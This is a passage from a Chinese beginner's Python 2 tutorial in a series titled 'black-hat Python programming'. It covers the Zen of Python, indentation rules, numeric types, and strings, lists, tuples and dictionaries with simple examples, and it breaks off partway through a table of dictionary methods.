于 20世纪80年代末，Guido van Rossum发明了Python，初衷据说是为了打发圣诞节的无趣，1991年首次发布，是ABC语言的继承，同时也是一种脚本语言。取名时，Guido van Rossum认为它应该“短小，独特，还有一点神秘感”，他是英国著名剧团Monty Python的忠实粉丝，所以就是Python了。

                                                 图1 Monty Python剧团

牛人的世界我们无法理解，随便玩玩就玩出门语言来。

编程语言众多，Python按照分类来讲，首先是动态语言，无需编译，然后是脚本语言。当然脚本语言这个特性在逐渐淡化，Python可以在Web、桌面各种应用类型中占有一席之地。

第二章，给大家介绍一下Python编程的基础内容。由于篇幅的限制，没办法全面的讲解Python语言知识，整个第二章的内容都算是抛砖引玉。熟悉Python编程的同学可以略过这一章的内容，初学者一定要努力练习。这些基础内容可以保证同学们比较顺利的进入网络编程的训练，在后续课程遇到生疏的内容可以通过翻阅资料的方式来解决，不至于如无头苍蝇般乱撞。

我们常常将一门语言比作一个门派，一个门派必须要有门归有值得传承的思想。2.1节，我们共同来了解下Python这门语言编程理念和规范。

从2.2到2.8节，我会通过实例来讲解Python编程最基本的内容，以此保证初学者入门，了解如何使用Python编写代码。

2.9节，会详细的介绍套接字编程，这块的内容通常在网络应用编程领域的核心内容。不过在本套课程中，反而没那么重要，至少在表面上是这样的。

2.10节，是我认为比较重要的部分—面向对象。Python不需要面向对象也可以很好的执行任务，但是面临负责任务的时候，面向对象在思想和工具两个层面都给我们提供了有力的支持。

2.11节，基于整个第二章的内容，我们以语言规范作为总结。

最后为了弥补本教程的缺失，我这里为大家推荐两本比较好的（个人认为，不代表大众观点）Python入门书，任何一本应该就足够了。

图2

《Python核心编程(第2版)》是经典的Python指导书，在上一版的基础上进行了全面升级。全书分为两个部分：第1部分占据了大约三分之二的篇幅，阐释这门语言的“核心”内容，包括基本的概念和语句、语法和风格、Python对象、数字类型、序列类型、映射和集合类型、条件和循环、文件和输入/输出、错误和异常、函数和函数式编程、模块、面向对象编程、执行环境等内容：第2部分则提供了各种高级主题来展示可以使用Python做些什么，包括正则表达式、网络编程、网络客户端编程、多线程编程、图形用户界面编程、Web编程、数据库编程、扩展Python和一些其他材料。《Python核心编程(第2版)》适合Python初学者，以及已经入门但想继续学习和提高自身Python技巧的程序员。

图3

　《图灵程序设计丛书：Python基础教程（第2版 修订版）》包括Python程序设计的方方面面，首先从Python的安装开始，随后介绍了Python的基础知识和基本概念，包括列表、元组、字符串、字典以及各种语句。然后循序渐进地介绍了一些相对高级的主题，包括抽象、异常、魔法方法、属性、迭代器。此后探讨了如何将Python与数据库、网络、C语言等工具结合使用，从而发挥出Python的强大功能，同时介绍了Python程序测试、打包、发布等知识。结尾，作者结合前面讲述的内容，按照实际项目开发的步骤向读者介绍了几个具有实际意义的Python项目的开发过程。

　　《图灵程序设计丛书：Python基础教程（第2版 修订版）》内容涉及的范围较广，既能为初学者夯实基础，又能帮助程序员提升技能，适合各个层次的Python开发人员阅读参考。

第2.1节《Python编程哲学》已经在微信订阅号抢先发布，心急的同学进入订阅号（方法在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，请回复“Python”，获取更多内容。


Python黑帽编程2.1  Python编程哲学

本节的内容有些趣味性，涉及到很多人为什么会选择Python，为什么会喜欢这门语言。我带大家膜拜下Python作者的Python之禅，然后再来了解下Python的编程规范。

2.1.1 ZEND OF PYTHON

在Kali中启动终端，输入Python，进入交互模式。

图2

输入命令

import this

“一首诗”呈现在我们眼前。

图3

内容如下：

Beautiful is better than ugly.      
优美胜于丑陋
Explicit is better than implicit.   
明了胜于晦涩
Simple is better than complex.      
简单胜过复杂
Complex is better than complicated. 
复杂胜过凌乱
Flat is better than nested.　　　　　　
扁平胜于嵌套
Sparse is better than dense. 　　　　
 间隔胜于紧凑
Readability counts.　　　　　　　　　　
可读性很重要
Special cases aren't special enough to break the rules.  
即使假借特例的实用性之名，也不违背这些规则
Although practicality beats purity.　　　
虽然实用性次于纯度
Errors should never pass silently.　　　
错误不应该被无声的忽略
Unless explicitly silenced.　　　　　　　
除非明确的沉默　　　　　　　
In the face of ambiguity, refuse the temptation to guess.
当存在多种可能时，不要尝试去猜测
There should be one-- and preferably only one --obvious way to do it.
应该有一个，最好只有一个，明显能做到这一点
Although that way may not be obvious at first unless you're Dutch.
虽然这种 方式可能不容易，除非你是python之父
Now is better than never.   
现在做总比不做好
Although never is often better than *right* now. 
虽然过去从未比现在好
If the implementation is hard to explain, it's a bad idea. 
如果这个实现不容易解释，那么它肯定是坏主意
If the implementation is easy to explain, it may be a good idea.  
如果这个实现容易解释，那么它很可能是个好主意
Namespaces are one honking great idea -- let's do more of those! 
命名空间是一种绝妙的理念，应当多加利用



关于这段圣经般的描述，我这里也不做过多解释了，随着编程经验的丰富，理解也会越来越深刻。此刻，你只需默默的读一遍，然后放到自己的收藏夹里。

2.1.2 编码规范

下面的内容很重要，建议初学者当做金科玉律来遵守。

对于初学者，我必须要强调的是，Python没有C语言那样的大括号，可以表示代码块和代码之间的层级关系，也没有VB那样的begin…end，它是靠缩进来表示这些的。对于用惯了大括号的的程序员来说，多少会有些不适应，因为有大括号的情况下，我们可以随意调整缩进，让代码按照我们的审美来排列，但是在Python里就不能这么做了。看下面一个简短的示例：

stringStest = 'abcdefghijk'
 
for char in stringStest[1:]:
if char !='c':
print 'not c'



这段代码很简单，首先声明了一个字符串变量stringStest，然后遍历字符串中的中的字符，判断是不是字母“c”，如果不是打印“not c”。运行之后，会看到如下错误:

图4

简单的分析下，for循环和变量声明处于同级，二者目前作为测试代码的顶级，不需要缩进。if条件判断是for的子集，应该有4个空格的缩进，print语句是if的子集，应该和if参照再有4个空格的缩进。修改完毕的代码如下：

图5

运行结果如图6.

图6

下面我把PEP8的Python编码规范转引过来，翻译不是我的原创，来自于http://damnever.github.io/2015/04/24/PEP8-style-guide-for-python-code/，感谢damnever的辛苦付出，请大家点击链接阅读原文。

第2.2节《数值类型》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取更多内容。


Python黑帽编程2.2  数值类型

数值类型，说白了就是处理各种各样的数字，Python中的数值类型包括整型、长整型、布尔、双精度浮点、十进制浮点和复数，这些类型在很多方面与传统的C类型有很大的区别。

Python中的数值类型都是不可变类型，意味着创建、修改数字的值，都会产生新的对象，当然这是幕后的操作，编程过程中大可不必理会。

2.2.1 标准整型和长整型

标准整型等价于C中的有符号长整型（long），与系统的最大整型一致（如32位机器上的整型是32位，64位机器上的整型是64位），可以表示的整数范围在[-sys.maxint-1, sys.maxint]之间。整型字面值的表示方法有3种：十进制（常用）、八进制（以数字“0”开头）和十六进制（以“0x”或“0X”开头）。

# -*- coding:utf-8 -*-
 
a = 0101
print 'a='+str(a)
 
b=64
print 'b='+str(b)
c=-237
print 'c='+str(c)
d=0x80
print 'd='+str(d)
e=-0x92
print 'e='+str(e)



上面的代码输出结果为：

图2

长整型是整型的超集，可以表示无限大的整数（实际上只受限于机器的虚拟内存大小）。长整型字面值的后面带有字母“L”或“l”（推荐使用大写的“L”）。

长整型和标准整型，目前已经基本统一，当数学运算遇到整型异常的情况，在Python2.2以后的版本，会自动转换为长整型。例如：

图3

2.2.2  布尔型和布尔对象

布尔型其实是整型的子类型，布尔型数据只有两个取值：True和False，分别对应整型的1和0。

每一个Python对象都天生具有布尔值（True或False），进而可用于布尔测试（如用在if、while中）。

以下对象的布尔值都是False，除此之外是True：

None

False（布尔型）

0（整型0）

0L（长整型0）

0.0（浮点型0）

0.0+0.0j（复数0）

''（空字符串）

[]（空列表）

()（空元组）

{}（空字典）

   用户自定义的 类实例，该类定义了方法 __nonzero__() 或 __len__()，并且这些方法返回0或False

下面我们通过几段代理来加深对布尔类型的认识。

# -*- coding:utf-8 -*-
#基本测试
print bool(1)
print bool(True)
print bool('0')
print bool([])
pring bool((1,))



结果如下：

图4

下面我们看看bool类型作为只有0和1取值的特殊整型的特性。

# -*- coding:utf-8 -*-
 
#使用bool数
foo = 42
bar = foo<42
print bar
 
print bar+10
print '%s' %bar
print '%d' %bar



运行结果如下：

图5

再来验证下没有_nonzero_()方法的对象，默认是True。

#无_nozero_()
class C:pass
 
c=C()
print bool(c)



运行结果如下：

图6

2.2.3 双精度浮点型

Python里的浮点型数字都是双精度，类似C语言的double类型。可以用十进制或者科学计数法表示。下面我们看一些典型的浮点型数字。

# -*- coding:utf-8 -*-
print 0.0
print -777.
print -5.555567119
print 96e3 * 1.0
print -1.609E-19



运行结果如下：

图7

2.2.4 复数

在Python中，有关复数的概念如下：

l  虚数不能单独存在，它们总是和一个值为0.0的实数部分一起来构成一个复数。

l  复数由实数部分和虚数部分组成。

l  表示虚数的语法：real+imagj.

l  实数部分和虚数部分都是浮点型。

l  虚数部分必须有后缀j或J。

下面是几个复数的例子：

print 64.375+1j
print 1.23e-045+6.7e+089j



运行结果如下：

图8

2.2.5 十进制浮点型

十进制浮点通常称为decimal类型，主要应用于金融计算。双精度浮点型使用的是底和指数的表示方法，在小数表示上精度有限，会导致计算不准确，decimal采用十进制表示方法，看上去可以表示任意精度。

下面我们看一下十进制浮点的例子。

from decimal import *
 
dec=Decimal('.1')
print dec
print Decimal(.1)
print dec +Decimal(.1)



使用decimal类型，首先要引入decimal模块，然后通过Decimal类来初始化一个Decimal对象。

运行结果如下：

图9

2.2.6 操作符

在Python中同时支持不同数值类型的数字进行混合运算，数字类型不一致怎么做运算？这个时候就涉及到强制类型转换问题。这种操作不是随意进行的，它遵循以下基本规则: 

首先，如果两个操作数都是同一种数据类型，没有必要进行类型转换。仅当两个操作数类型不一致时，Python才会去检查一个操作数是否可以转换为另一类型的操作数。如果可以，转换它并返回转换结果。

由于某些转换是不可能的，比如果将一个复数转换为非复数类型，将一个浮点数转换为整数等等，因此转换过程必须遵守几个规则。要将一个整数转换为浮点数，只要在整数后面加个.0就可以了。要将一个非复数转换为复数，则只需要要加上一个“0j”的虚数部分。

这些类型转换的基本原则是：整数转换为浮点数，非复数转换为复数。在 Python 语言参考中这样描述coerce()方法： 

如果有一个操作数是复数，另一个操作数被转换为复数。 

否则，如果有一个操作数是浮点数，另一个操作数被转换为浮点数。

否则, 如果有一个操作数是长整数，则另一个操作数被转换为长整数；

否则，两者必然都是普通整数，无须类型转换。

数字类型之间的转换是自动进行的，程序员无须自己编码处理类型转换。Python 提供了 coerce() 内建函数来帮助你实现这种转换。

转换流程图如下图所示：

图10

2.2.7转换工厂

函数 int(), long(), float() 和 complex() 用来将其它数值类型转换为相应的数值类型。从Python2.3开始，Python 的标准数据类型添加了一个新成员：布尔（Boolean）类型。从此 true和 false 现在有了常量值即 True 和 False(不再是1和0)。

下面是使用工厂函数的简单例子。

图11

2.2.8 进制转换

目前我们已经看到Python支持8进制、十进制和十六进制整型，同时还提供了oct()和hex()内建函数来返回八进制和十六进制字符串。

图12

2.2.9 ASII 转换

chr函数和ord函数分别用来将数字转换为字符，和字符转换为数字。

图13

2.2.10 小结

本节对Python数值类型做个比较全面的讲解，网络编程过程中会有大量的数值运算。

更高级的科学计算，推荐大家了解下两个著名的第三方包，NumPy和SciPy。

第2.3节《字符串、列表、元组、字典和集合》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

本节视频教程获取方法，请扫描二维码，在菜单“网络安全”——>”Python黑帽编程”中找到对应的本文2.2.10节，有详细方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

关注之后，回复请回复“Python”，获取更多内容。


Python黑帽编程2.3  字符串、列表、元组、字典和集合

本节要介绍的是Python里面常用的几种数据结构。通常情况下，声明一个变量只保存一个值是远远不够的，我们需要将一组或多组数据进行存储、查询、排序等操作，本节介绍的Python内置的数据结构可以满足大多数情况下的需求。这一部分的知识点比较多，而且较为零散，需要认真学习。

2.3.1  字符串

字符串是 Python 中最常用的数据类型。我们可以使用引号('或")来创建字符串。

创建字符串很简单，只要为变量分配一个值即可。例如：

var1 ='Hello World!'
var2 ="Python Runoob"



Python访问字符串中的值

Python不支持单字符类型，单字符也在Python也是作为一个字符串使用。

Python访问子字符串，可以使用方括号来截取字符串，如下实例：

var1 ='Hello World!'
var2 ="Python Runoob"
 
print"var1[0]: ", var1[0]
print"var2[1:5]: ", var2[1:5]



以上实例执行结果：

图2

Python字符串更新

你可以对已存在的字符串进行修改，并赋值给另一个变量，如下实例：

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
var1 ='Hello World!'
 
print"更新字符串 :- ", var1[:6]+'Runoob!'



运行结果如下：

图3

Python转义字符

在需要在字符中使用特殊字符时，python用反斜杠(\)转义字符。如下表：

转义字符

描述

\(在行尾时)

续行符

\\

反斜杠符号

\'

单引号

\"

双引号

\a

响铃

\b

退格(Backspace)

\e

转义

\000

空

\n

换行

\v

纵向制表符

\t

横向制表符

\r

回车

\f

换页

\oyy

八进制数，yy代表的字符，例如：\o12代表换行

\xyy

十六进制数，yy代表的字符，例如：\x0a代表换行

\other

其它的字符以普通格式输出

Python字符串运算符

下表实例变量a值为字符串"Hello"，b变量值为"Python"：

操作符

描述

实例

+

字符串连接

a + b 输出结果： HelloPython

*

重复输出字符串

a*2 输出结果：HelloHello

[]

通过索引获取字符串中字符

a[1] 输出结果 e

[ : ]

截取字符串中的一部分

a[1:4] 输出结果ell

in

成员运算符 - 如果字符串中包含给定的字符返回 True

H in a 输出结果 1

not in

成员运算符 - 如果字符串中不包含给定的字符返回 True

M not in a 输出结果 1

r/R

原始字符串 - 原始字符串：所有的字符串都是直接按照字面的意思来使用，没有转义特殊或不能打印的字符。原始字符串除在字符串的第一个引号前加上字母"r"（可以大小写）以外，与普通字符串有着几乎完全相同的语法。

print r'\n' 输出 \n 和 print R'\n'输出 \n

%

格式字符串

实例如下：

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
a ="Hello"
b ="Python"
 
print"a + b 输出结果：", a + b
print"a * 2 输出结果：", a *2
print"a[1] 输出结果：", a[1]
print"a[1:4] 输出结果：", a[1:4]
 
if("H"in a):
    print"H 在变量 a 中"
else:
    print"H 不在变量 a 中"
 
if("M"notin a):
    print"M 不在变量 a 中"
else:
    print"M 在变量 a 中"
 
print r'\n'
print R'\n'



以上程序执行结果为：

图4

Python字符串格式化

Python 支持格式化字符串的输出。尽管这样可能会用到非常复杂的表达式，但最基本的用法是将一个值插入到一个有字符串格式符 %s 的字符串中。

在 Python 中，字符串格式化使用与 C 中 sprintf 函数一样的语法。

比如下面的代码：

#!/usr/bin/python
 
print"My name is %s and weight is %d kg!"%('Zara',21)



运行结果为：

图5

python字符串格式化符号一览表:

符号

描述

      %c

 格式化字符及其ASCII码

      %s

 格式化字符串

      %d

 格式化整数

      %u

 格式化无符号整型

      %o

 格式化无符号八进制数

      %x

 格式化无符号十六进制数

      %X

 格式化无符号十六进制数（大写）

      %f

 格式化浮点数字，可指定小数点后的精度

      %e

 用科学计数法格式化浮点数

      %E

 作用同%e，用科学计数法格式化浮点数

      %g

 %f和%e的简写

      %G

 %f 和 %E 的简写

      %p

 用十六进制数格式化变量的地址

格式化操作符辅助指令:

符号

功能

*

定义宽度或者小数点精度

-

用做左对齐

+

在正数前面显示加号( + )

<sp>

在正数前面显示空格

#

在八进制数前面显示零('0')，在十六进制前面显示'0x'或者'0X'(取决于用的是'x'还是'X')

0

显示的数字前面填充'0'而不是默认的空格

%

'%%'输出一个单一的'%'

(var)

映射变量(字典参数)

m.n.

m 是显示的最小总宽度,n 是小数点后的位数(如果可用的话)

Python三引号（triple quotes）

python中三引号可以将复杂的字符串进行复制，python三引号允许一个字符串跨多行，字符串中可以包含换行符、制表符以及其他特殊字符。

三引号的语法是一对连续的单引号或者双引号（通常都是成对的用）。

例如：

#三引号
hi = '''hi
there'''
print hi



运行结果如下：

图6

Unicode 字符串

Python 中定义一个 Unicode 字符串和定义一个普通字符串一样简单：

s2=u'Hello World !';



print s2引号前小写的"u"表示这里创建的是一个 Unicode 字符串。如果你想加入一个特殊字符，可以使用 Python 的 Unicode-Escape 编码。如下例所示：

s3=u'Hello\u0020World !'
print s3



python的字符串内建函数

字符串方法是从python1.6到2.0慢慢加进来的——它们也被加到了Jython中。

这些方法实现了string模块的大部分方法，如下表所示列出了目前字符串内建支持的方法，所有的方法都包含了对Unicode的支持，有一些甚至是专门用于Unicode的。

方法

描述

string.capitalize()

把字符串的第一个字符大写

string.center(width)

返回一个原字符串居中,并使用空格填充至长度 width 的新字符串

string.count(str, beg=0, end=len(string))

返回 str 在 string 里面出现的次数，如果 beg 或者 end 指定则返回指定范围内 str 出现的次数

string.decode(encoding='UTF-8', errors='strict')

以 encoding 指定的编码格式解码 string，如果出错默认报一个 ValueError 的异常，除非 errors 指定的是 'ignore' 或者'replace'

string.encode(encoding='UTF-8', errors='strict')

以 encoding 指定的编码格式编码 string，如果出错默认报一个ValueError 的异常，除非 errors 指定的是'ignore'或者'replace'

string.endswith(obj, beg=0, end=len(string))

检查字符串是否以 obj 结束，如果beg 或者 end 指定则检查指定的范围内是否以 obj 结束，如果是，返回 True,否则返回 False.

string.expandtabs(tabsize=8)

把字符串 string 中的 tab 符号转为空格，tab 符号默认的空格数是 8。

string.find(str, beg=0, end=len(string))

检测 str 是否包含在 string 中，如果 beg 和 end 指定范围，则检查是否包含在指定范围内，如果是返回开始的索引值，否则返回-1

string.index(str, beg=0, end=len(string))

跟find()方法一样，只不过如果str不在 string中会报一个异常.

string.isalnum()

如果 string 至少有一个字符并且所有字符都是字母或数字则返

回 True,否则返回 False

string.isalpha()

如果 string 至少有一个字符并且所有字符都是字母则返回 True,

否则返回 False

string.isdecimal()

如果 string 只包含十进制数字则返回 True 否则返回 False.

string.isdigit()

如果 string 只包含数字则返回 True 否则返回 False.

string.islower()

如果 string 中包含至少一个区分大小写的字符，并且所有这些(区分大小写的)字符都是小写，则返回 True，否则返回 False

string.isnumeric()

如果 string 中只包含数字字符，则返回 True，否则返回 False

string.isspace()

如果 string 中只包含空格，则返回 True，否则返回 False.

string.istitle()

如果 string 是标题化的(见 title())则返回 True，否则返回 False

string.isupper()

如果 string 中包含至少一个区分大小写的字符，并且所有这些(区分大小写的)字符都是大写，则返回 True，否则返回 False

string.join(seq)

以 string 作为分隔符，将 seq 中所有的元素(的字符串表示)合并为一个新的字符串

string.ljust(width)

返回一个原字符串左对齐,并使用空格填充至长度 width 的新字符串

string.lower()

转换 string 中所有大写字符为小写.

string.lstrip()

截掉 string 左边的空格

string.maketrans(intab, outtab])

maketrans() 方法用于创建字符映射的转换表，对于接受两个参数的最简单的调用方式，第一个参数是字符串，表示需要转换的字符，第二个参数也是字符串表示转换的目标。

max(str)

返回字符串 STR 中最大的字母。

min(str)

返回字符串 STR 中最小的字母。

string.partition(str)

有点像 find()和 split()的结合体,从 str 出现的第一个位置起,把字符串 string 分成一个 3 元素的元组(string_pre_str,str,string_post_str),如果 string 中不包含str 则 string_pre_str == string.

string.replace(str1, str2,  num=string.count(str1))

把 string 中的 str1 替换成 str2,如果 num 指定，则替换不超过 num 次.

string.rfind(str, beg=0,end=len(string) )

类似于 find()函数，不过是从右边开始查找.

string.rindex( str, beg=0,end=len(string))

类似于 index()，不过是从右边开始.

string.rjust(width)

返回一个原字符串右对齐,并使用空格填充至长度 width 的新字符串

string.rpartition(str)

类似于 partition()函数,不过是从右边开始查找.

string.rstrip()

删除 string 字符串末尾的空格.

string.split(str="", num=string.count(str))

以 str 为分隔符切片 string，如果 num有指定值，则仅分隔 num 个子字符串

string.splitlines(num=string.count('\n'))

按照行分隔，返回一个包含各行作为元素的列表，如果 num 指定则仅切片 num 个行.

string.startswith(obj, beg=0,end=len(string))

检查字符串是否是以 obj 开头，是则返回 True，否则返回 False。如果beg 和 end 指定值，则在指定范围内检查.

string.strip([obj])

在 string 上执行 lstrip()和 rstrip()

string.swapcase()

翻转 string 中的大小写

string.title()

返回"标题化"的 string,就是说所有单词都是以大写开始，其余字母均为小写(见 istitle())

string.translate(str, del="")

根据 str 给出的表(包含 256 个字符)转换 string 的字符,

要过滤掉的字符放到 del 参数中

string.upper()

转换 string 中的小写字母为大写

string.zfill(width)

返回长度为 width 的字符串，原字符串 string 右对齐，前面填充0

string.isdecimal()

isdecimal()方法检查字符串是否只包含十进制字符。这种方法只存在于unicode对象。

2.3.2 列表

序列是Python中最基本的数据结构。序列中的每个元素都分配一个数字 - 它的位置，或索引，第一个索引是0，第二个索引是1，依此类推。

Python有6个序列的内置类型，但最常见的是列表和元组。序列都可以进行的操作包括索引，切片，加，乘，检查成员。此外，Python已经内置确定序列的长度以及确定最大和最小的元素的方法。列表是最常用的Python数据类型，它可以作为一个方括号内的逗号分隔值出现。列表的数据项不需要具有相同的类型

创建一个列表，只要把逗号分隔的不同的数据项使用方括号括起来即可。如下所示：

list1 =['physics','chemistry',1997,2000];
list2 =[1,2,3,4,5];
list3 =["a","b","c","d"];



与字符串的索引一样，列表索引从0开始。列表可以进行截取、组合等。

访问列表中的值

使用下标索引来访问列表中的值，同样你也可以使用方括号的形式截取字符，如下所示：

#!/usr/bin/python
 
list1 =['physics','chemistry',1997,2000];
list2 =[1,2,3,4,5,6,7];
 
print"list1[0]: ", list1[0]
print"list2[1:5]: ", list2[1:5]



运行结果如下：

图7

更新列表

你可以对列表的数据项进行修改或更新，你也可以使用append()方法来添加列表项，如下所示：

#!/usr/bin/python
 
list =['physics','chemistry',1997,2000];
 
print"Value available at index 2 : "
print list[2];
list[2]=2001;
print"New value available at index 2 : "
print list[2];



运行结果如下：

图8

删除列表元素

可以使用 del 语句来删除列表的的元素，如下所示：

#!/usr/bin/python
 
list1 =['physics','chemistry',1997,2000];
 
print list1;
del list1[2];
print"After deleting value at index 2 : "
print list1;



运行结果如下：

图9

Python列表脚本操作符

列表对 + 和 * 的操作符与字符串相似。+ 号用于组合列表，* 号用于重复列表。

如下所示：

Python 表达式

结果

描述

len([1, 2, 3])

3

长度

[1, 2, 3] + [4, 5, 6]

[1, 2, 3, 4, 5, 6]

组合

['Hi!'] * 4

['Hi!', 'Hi!', 'Hi!', 'Hi!']

重复

3 in [1, 2, 3]

True

元素是否存在于列表中

for x in [1, 2, 3]: print x,

1 2 3

迭代

Python列表截取

Python的列表截取与字符串操作类型，如下所示：

L =['spam','Spam','SPAM!']

操作：

Python 表达式

结果

描述

L[2]

'SPAM!'

读取列表中第三个元素

L[-2]

'Spam'

读取列表中倒数第二个元素

L[1:]

['Spam', 'SPAM!']

从第二个元素开始截取列表

Python列表函数&方法

Python包含以下函数:

序号

函数

1

cmp(list1, list2)比较两个列表的元素

2

len(list)列表元素个数

3

max(list)返回列表元素最大值

4

min(list)返回列表元素最小值

5

list(seq)将元组转换为列表

Python包含以下方法:

序号

方法

1

list.append(obj)在列表末尾添加新的对象

2

list.count(obj)统计某个元素在列表中出现的次数

3

list.extend(seq)在列表末尾一次性追加另一个序列中的多个值（用新列表扩展原来的列表）

4

list.index(obj)从列表中找出某个值第一个匹配项的索引位置

5

list.insert(index, obj)将对象插入列表

6

list.pop(obj=list[-1])移除列表中的一个元素（默认最后一个元素），并且返回该元素的值

7

list.remove(obj)移除列表中某个值的第一个匹配项

8

list.reverse()反向列表中元素

9

list.sort([func])对原列表进行排序

2.3.4 元组

Python的元组与列表类似，不同之处在于元组的元素不能修改。

元组使用小括号，列表使用方括号。

元组创建很简单，只需要在括号中添加元素，并使用逗号隔开即可。

如下代码：

tup1 = ('physics', 'chemistry', 1997, 2000);
tup2 = (1, 2, 3, 4, 5 );
tup3 = "a", "b", "c", "d";



创建空元组

tup1 = ();



元组中只包含一个元素时，需要在元素后面添加逗号

tup1 = (50,);



元组与字符串类似，下标索引从0开始，可以进行截取，组合等。

访问元组

元组可以使用下标索引来访问元组中的值，如下实例:

#!/usr/bin/python
 
tup1 = ('physics', 'chemistry', 1997, 2000);
tup2 = (1, 2, 3, 4, 5, 6, 7 );
 
print "tup1[0]: ", tup1[0]
print "tup2[1:5]: ", tup2[1:5]



运行结果如下：

图10

修改元组

元组中的元素值是不允许修改的，但我们可以对元组进行连接组合，如下实例:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
tup1 = (12, 34.56);
tup2 = ('abc', 'xyz');
 
# 以下修改元组元素操作是非法的。

# tup1[0] = 100;

 
# 创建一个新的元组
tup3 = tup1 + tup2;
print tup3;



运行结果如下：

图11

删除元组

元组中的元素值是不允许删除的，但我们可以使用del语句来删除整个元组，如下实例:

#!/usr/bin/python
 
tup = ('physics', 'chemistry', 1997, 2000);
 
print tup;
del tup;
print "After deleting tup : "
print tup;



以上实例元组被删除后，运行结果如下：

图12

元组运算符

与字符串一样，元组之间可以使用 + 号和 * 号进行运算。这就意味着他们可以组合和复制，运算后会生成一个新的元组。

Python 表达式

结果

描述

len((1, 2, 3))

3

计算元素个数

(1, 2, 3) + (4, 5, 6)

(1, 2, 3, 4, 5, 6)

连接

['Hi!'] * 4

['Hi!', 'Hi!', 'Hi!', 'Hi!']

复制

3 in (1, 2, 3)

True

元素是否存在

for x in (1, 2, 3): print x,

1 2 3

迭代

元组索引，截取

因为元组也是一个序列，所以我们可以访问元组中的指定位置的元素，也可以截取索引中的一段元素，如下所示：

元组：

L = ('spam', 'Spam', 'SPAM!')

Python 表达式

结果

描述

L[2]

'SPAM!'

读取第三个元素

L[-2]

'Spam'

反向读取；读取倒数第二个元素

L[1:]

('Spam', 'SPAM!')

截取元素

无关闭分隔符

任意无符号的对象，以逗号隔开，默认为元组，如下实例：

#!/usr/bin/python
 
print 'abc', -4.24e93, 18+6.6j, 'xyz';
x, y = 1, 2;
print "Value of x , y : ", x,y;



运行结果如下：

图13

元组内置函数

Python元组包含了以下内置函数：

序号

方法及描述

1

cmp(tuple1, tuple2)比较两个元组元素。

2

len(tuple)计算元组元素个数。

3

max(tuple)返回元组中元素最大值。

4

min(tuple)返回元组中元素最小值。

5

tuple(seq)将列表转换为元组。

2.3.5 字典

字典是另一种可变容器模型，且可存储任意类型对象。

字典的每个键值(key=>value)对用冒号(:)分割，每个对之间用逗号(,)分割，整个字典包括在花括号({})中 ,格式如下所示：

d ={key1 : value1, key2 : value2 }



键必须是唯一的，但值则不必。

值可以取任何数据类型，但键必须是不可变的，如字符串，数字或元组。

一个简单的字典实例：

dict ={'Alice':'2341','Beth':'9102','Cecil':'3258'}



也可如此创建字典：

dict1 ={'abc':456};
dict2 ={'abc':123,98.6:37};



访问字典里的值

把相应的键放入熟悉的方括弧，如下实例:

#!/usr/bin/python
 
dict ={'Name':'Zara','Age':7,'Class':'First'};
 
print"dict['Name']: ", dict['Name'];
print"dict['Age']: ", dict['Age'];



运行结果如下：

图14

如果用字典里没有的键访问数据，会输出错误：

dict = {'Name': 'Zara', 'Age': 7, 'Class': 'First'};
 
print "dict['Name']: ", dict['Name'];
print "dict['Age']: ", dict['Age'];
print dict['Xuanhun']



运行结果如下：

图15

修改字典

向字典添加新内容的方法是增加新的键/值对，修改或删除已有键/值对如下实例:

#!/usr/bin/python
 
dict ={'Name':'Zara','Age':7,'Class':'First'};
 
dict['Age']=8;# update existing entry
dict['School']="DPS School";# Add new entry
 
 
print"dict['Age']: ", dict['Age'];
print"dict['School']: ", dict['School'];



运行结果如下：

图16

删除字典元素

能删单一的元素也能清空字典，清空只需一项操作。

显示删除一个字典用del命令，如下实例：

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
dict ={'Name':'Zara','Age':7,'Class':'First'};
 
del dict['Name'];# 删除键是'Name'的条目
dict.clear();     # 清空词典所有条目
del dict ;        # 删除词典
 
print"dict['Age']: ", dict['Age'];
print"dict['School']: ", dict['School'];



但这会引发一个异常，因为用del后字典不再存在：

图17

字典键的特性

字典值可以没有限制地取任何python对象，既可以是标准的对象，也可以是用户定义的，但键不行。

两个重要的点需要记住：

1）不允许同一个键出现两次。创建时如果同一个键被赋值两次，后一个值会被记住，如下实例：

#!/usr/bin/python
 
dict ={'Name':'Zara','Age':7,'Name':'Manni'};
 
print"dict['Name']: ", dict['Name'];



以上实例输出结果：

dict['Name']:  Manni



2）键必须不可变，所以可以用数字，字符串或元组充当，所以用列表就不行，如下实例：

#!/usr/bin/python
 
dict ={['Name']:'Zara','Age':7};
print"dict['Name']: ", dict['Name'];



运行结果如下：

图18

字典内置函数&方法

Python字典包含了以下内置函数：

序号

函数及描述

1

cmp(dict1, dict2)比较两个字典元素。

2

len(dict)计算字典元素个数，即键的总数。

3

str(dict)输出字典可打印的字符串表示。

4

type(variable)返回输入的变量类型，如果变量是字典就返回字典类型。

Python字典包含了以下内置方法：

序号

函数及描述

1

radiansdict.clear()删除字典内所有元素

2

radiansdict.copy()返回一个字典的浅复制

3

radiansdict.fromkeys()创建一个新字典，以序列seq中元素做字典的键，val为字典所有键对应的初始值

4

radiansdict.get(key, default=None)返回指定键的值，如果值不在字典中返回default值

5

radiansdict.has_key(key)如果键在字典dict里返回true，否则返回false

6

radiansdict.items()以列表返回可遍历的(键, 值) 元组数组

7

radiansdict.keys()以列表返回一个字典所有的键

8

